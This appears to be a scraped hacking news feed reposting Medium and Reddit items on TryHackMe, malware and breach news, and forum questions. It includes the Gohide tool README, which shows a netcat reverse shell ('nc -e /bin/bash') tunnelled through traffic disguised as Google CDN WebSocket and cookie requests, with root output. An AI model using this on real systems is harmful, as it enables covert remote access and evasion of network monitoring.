Hacking on Medium
Gotta Catch’em All! TryHackMe Walkthrough/Writeup

https://cdn-images-1.medium.com/max/939/1*VJObpMVE9meRa3Kqh0tUHQ.png
Gotta Catch’em All! TryHackMe Writeup/Walkthrough

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Albania Expels Iranian Diplomats Over Cyber Attack

https://cdn-images-1.medium.com/max/960/1*2gmZIlgoShKW1r2BoX02Ew.png
A minor news story that may have strategic relevance for Cybersecurity

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Malware para Linux elude la detección mediante un despliegue en varias fases

https://cdn-images-1.medium.com/max/1821/0*sPO9xQimsK5GlWB7
Se ha descubierto un nuevo malware sigiloso para Linux conocido como Shikitega que infecta ordenadores y dispositivos IoT a través de una…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cisco confirms Yanluowang ransomware leaked stolen company data. However, the company says in an update that the leak does not change the initial assessment that the incident has no impact on the business

https://external-preview.redd.it/k2JAcVIgJL8gkWGgt5PUyzbO4mmbeOVwHmEhxefbuY0.jpg?width=640&crop=smart&auto=webp&s=6a18e081d851a85f10d2bab9e0fce89f69af26d7 submitted by /u/Glad_Living3908
[link] [comments]

hacking: security in practice
Google announced the completion of the acquisition of Mandiant for $5.4 billion

https://external-preview.redd.it/fuk8UqQX0jiS0BexAmrSzTF7Rj_I7A0Ne2jPtifipIQ.jpg?width=216&crop=smart&auto=webp&s=e56d4ca098497847d44ff17a626284b2d15f6194 submitted by /u/Glad_Living3908
[link] [comments]

hacking: security in practice
dual boot or virtual machine for hacking and programming?

my machine is a ryzen 5600g and a 16 gb ram, with a 120 gb ssd and a 1 t hdd

submitted by /u/Commercial-Finger-42
[link] [comments]

hacking: security in practice
I’m a web developer wanting to make the switch into the cyber security field. Specifically web app security. Additionally I’m also curious about malware development (as a hobbie / to understand the field more)

I’ve been a full stack web developer for a bit over 5 years. Specifically with the MERN stack, but I know quite a bit a Python, MySQL, Java, and a bit of PHP. Im curious what I’d have to do with my free time to better understand the field of web app security? Anything I can build or study? Since I’ve done my fair bit of web development im familiar with common attack vectors like SQL Injextion, XSS, CSRF/XSRF, DNS Spoofing, and phishing / spam websites. Aside from this what are some things I should study up on?

As for the malware side of stuff, I’d like to get into it to see if I enjoy it. I’ve always thought it be cool to make viruses and stuff, are there any sources for creating malware / exploits with Python specifically?

submitted by /u/ThatAnonMan
[link] [comments]

submitted by /u/dunc009
[link] [comments]

Hacking on Medium
Hacktivist Group GhostSec Compromises?

https://cdn-images-1.medium.com/max/728/0*HoDgueA9YUdSZ15Z.gif
A hacktivist collective called GhostSec has claimed credit for compromising as many as 55 Berghof programmable logic controllers (PLCs)…

Continue reading on Medium »

Hacking on Medium
China Accuses NSA’s TAO Unit of Hacking its?

https://cdn-images-1.medium.com/max/728/0*bOB6DcowQuyu9x0r.jpg
China has accused the U.S. National Security Agency (NSA) of conducting a string of cyberattacks aimed at aeronautical and military…

Continue reading on Medium »

Kali Linux Tutorials
Gohide : Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Gohide, Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

* Session Cookie HTTP GET (http-client)
* Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
* WebSocket Handshake “Sec-WebSocket-Key” (websocket-client)
* WebSocket Handshake “Sec-WebSocket-Accept” (websocket-server)
* No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
-f string
listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default “0.0.0.0:8081”)
-key openssl passwd -1 -salt ok | md5sum
aes encryption secret: use ‘-k openssl passwd -1 -salt ok | md5sum’ to derive key from password (default “5fe10ae58c5ad02a6113305f4e702d07”)
-l string
listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:8080”)
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default “none”)
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair ‘CN:target.com’, none = plaintext mode (default “default”)
-r string
forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:9999”)

Scenario

Box A – Reverse Handler

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Note: /etc/hosts “127.0.0.1 target.com”

Box B – Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A – Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu
Active Internet connections (servers and established)
tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Box A to Box B)

* Sec-WebSocket-Key contains AES-GCM encrypted content e.g. “uname -a”.

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

* Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

* Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

* Set-Cookie header contains AES-GCM encrypted content.

HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA
Download

___________________________
@hacking_Attack
@Hacking_Video

How to create a port scanner with bash script in one minute
https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5

Hello everyone, today I will show you how to create a Port Scanner in a minute on your Linux or any system with netcat installed.Continue reading on Medium » (https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Me and some other girls are being blackmailed over content that was filmed by a known criminal

Someone is blackmailing me (25F) and some other girls over content that was filmed. The person blackmailing is a known criminal and is ruthless when there’s monetary gain involved. He bribes girls with money he won’t pay and pressures them into making content, but then leaves them in the dark and posts/sells the videos without their consent. I want to erase all of this content off the internet to ease the misery all of us girls have been living through. We are terrified of our reputations becoming tainted. Please advise me on what to do. Any help is appreciated. Thank you so much🙏🏻

submitted by /u/hypnotic-emerald
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Nmap + VPN problem

When connecting to a commercial VPN and then use nmap, the tool usually shows that all ports at the target are open or filtered which is obviously false positive.

Any ideas how/if this can be fixed?

submitted by /u/Kamelbaum1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video